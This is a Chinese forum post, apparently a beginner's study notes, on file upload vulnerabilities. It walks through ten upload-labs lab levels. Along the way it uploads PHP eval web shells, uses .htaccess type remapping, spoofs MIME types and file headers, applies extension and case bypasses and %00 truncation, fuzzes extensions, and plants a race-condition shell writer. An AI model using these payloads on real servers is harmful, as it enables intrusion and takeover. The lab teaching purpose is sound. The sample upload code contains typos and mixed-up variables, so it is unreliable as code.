网安入门篇-OWASP之文件上传 - ☕ 经验茶谈极核论坛 - 知识星球 - 极核GetShell

网安入门篇-OWASP之文件上传

本文为个人学习记录,由于我也是初学者可能会存在错误,如有错误请指正

本文主要是文件上传漏洞原理分析、利用入门

前置知识

文件上传功能主要有自开发编辑器框架三种实现方式,利用上传漏洞上传后门文件达到getshell目的

自开发文件上传

涉及到的变量以及函数:
$_FILE[] 全局变量存储的是文件数组
文件涉及到的下标有nametypesizetmp_nameerror
move_uploaded_file(临时文件名,服务器位置)用于移动文件到服务器的指定位置

代码逻辑:
html (<input type="file" name="file">) 将文件赋值给file变量,读取$_FILE['file']['name']中的扩展名部分,再次读取$_FILE['file']['type']类型以确保上传的文件类型在要求之内,之后在使用move_uploaded_file存放文件到指定位置

Demo示例:

HTML 负责UI

<form action="" methon=post>
	<input type="file" name="f" onchange=="CheckFileExt(this.value)"/>
	<input type="submit" value="上传文件">
</form>

JS 负责文件格式校验

function CheckFileExt(filename){
	var enable = false;
	var ext = ['png','gif','jpg'];
	var index - filename.lastIndexOf(".");
	var ext = filename.substr(index + 1);
	for(i = 0;i<ext.length;i++){
		if(ext == exts[i]){
			enable = true;
			alter("文件后缀正确");
			break;
		}
	}
	if(!enable){
		alter("文件后缀错误")
		location.reload(true);
	}
}

 

PHP 负责扩展名校验以及文件上传

$name = $_FIlE['f']['name'];
$type = $_FIlE['f']['type'];
$size = $_FIlE['f']['size'];
$tmpName = $_FIlE['f']['tmp_name'];
$error = $_FIlE['f']['error'];
$allowType = array('image/png','image/jpg','image/gif')
if(in_array($type,$allowType)){
	if(move_uploaded_file($tmpName,'upload/'.$name)){
		echo '<script>alter(上传成功)</script>';
	}else{
		echo '<script>alter(上传失败)</script>';
	}
}else{
	echo '非法后缀文件';
}

编辑器文件上传

相当于一个插件,使用成熟的编辑器,如ueditor等编辑器,针对于这种主要是查看编辑器是否包含漏洞

Pasted image 20240812083300

框架文件上传

使用ThinkPhp这种框架进行文件上传代码书写,和编辑器差不多,主要是查看框架是否包含漏洞

功能分析

文件上传功能主要检测:文件后缀、`MIME类型` 、文件头以及文件内容

其中文件后缀、`MIME类型`和文件头主要用于文件类型识别,而文件内容主要用于后门识别;文件类型识别容易绕过,后门识别绕过较难。

注意:若无文件解析漏洞,文件解析格式是一对一的(jpg不能解析成php)

upload-labs-docker 靶场

第一关

Pasted image 20240827173232

 

F12 查看开发者工具,发现第一关使用的是JS验证

Pasted image 20240827173307

使用burp suit拦截上传图片数据包,修改请求体中的图片名为test.php图片内容为<?php eval($_POST["pass"]);?>,然后进行放行

Pasted image 20240827173801

访问http://192.168.125.132:30001/upload/test.php,使用哥斯拉进行后门连接即可

第二关

Pasted image 20240827173939

根据题提示是利用文件解析漏洞,使用中间件Apache配置文件.htaccess进行重设文件解析

.htaccess 文件是一个用于配置 Apache Web 服务器的配置文件,它主要在基于 Apache 的服务器环境中起作用。

使用burp suit拦截上传图片数据包,修改body中的图片名为.htaccess图片内容为AddType application/x-httpd-php .png,然后进行放行。AddType 可以将给定的文件扩展名映射到指定的内容类型

Pasted image 20240827180802

使用burp suit再次拦截上传图片数据包,修改body中的图片内容为<?php eval($_POST["pass"]);?>,然后进行放行。使用哥斯拉进行后门连接。

第三关

Pasted image 20240827181024

根据题提示是MIME类型检测,使用burp suit拦截上传图片的数据包,MIME信息修改为Content-Type: image/jpeg,修改body中的图片名为test.php图片内容为<?php eval($_POST["pass"]);?>,然后进行放行。使用哥斯拉进行后门连接。

第四关

Pasted image 20240827181901

根据题提示是文件头检测,使用burp suit拦截上传图片的数据包,修改请求体中的图片名为test.php图片内容为GIF89a <?php eval($_POST["pass"])?>,然后进行放行。也可修改为其他类型的文件头 使用hax模式编辑即可。

Pasted image 20240827181833

第五关

Pasted image 20240827182124

根据题提示是php代码审计问题,可以看到会将黑名单中的类型都替换为空串,可以使其替换完之后为php类型,进行绕过,修改请求体中的图片名为test.pphphp图片内容为<?php eval($_POST["pass"])?>,然后进行放行。

第六关

Pasted image 20240827182418

根据题提示是php代码审计问题,可以看到会将黑名单中的类型都替换为空格,与上题不同的是str_replace函数区分大小写,可以是使其后缀名为phP绕过

第七关

PHP %00截断
php版本小于5.3.4并magic_qutes_gpc=off解析漏洞会将1.txt\000.jpg解释为1.txt

利用这个漏洞修改请求体中的POST提交地址加上test.php%00图片内容为<?php eval($_POST["pass"])?>,然后进行放行。有提交地址在地址上边截断,无提交地址在图片名处截断

第八关

PHP %00截断

利用这个漏洞修改body中的上传路径名加上%00需要进行URL转码 图片内容为<?php eval($_POST["pass"])?>,然后进行放行。

Pasted image 20240827185941

 

第九关

Pasted image 20240827183810

文件类型黑名单

$blacklist = array("asp","aspx","php","jsp","htaccess")

使用fuzzdb项目中的file-upload文件夹中的php格式
使用burp suit拦截上传图片数据包,修改body中的图片内容为<?php eval($_POST["pass"]);?>,然后将数据包放置到Inruder中,使用alt-extensions-php.txt字典拼接文件后缀进行攻击,分析响应信息,查看正确上传的请求,php使用哥斯拉进行后门连接。

Pasted image 20240827191101

第十关

Pasted image 20240827191343

根据题目提示主要考察条件竞争,第十关的图片校验是先上传后执行图片类型判断,可以利用时间差让上传的后门自动创建新的后门

使用burp suit再次拦截上传图片数据包,修改请求体中的图片名修改为test.php,图片内容为<?php fputs(fopen('test.php','w'),'<?php eval($_POST["pass"]);?>');?>,将数据包放置到Inruder

Pasted image 20240827191717

Payload类型修改为null paylaod,无限重复发送

Pasted image 20240827192000

访问http://192.168.125.132:30010/upload/test.php,哥斯拉链接后门

 

请登录后发表评论

    没有回复内容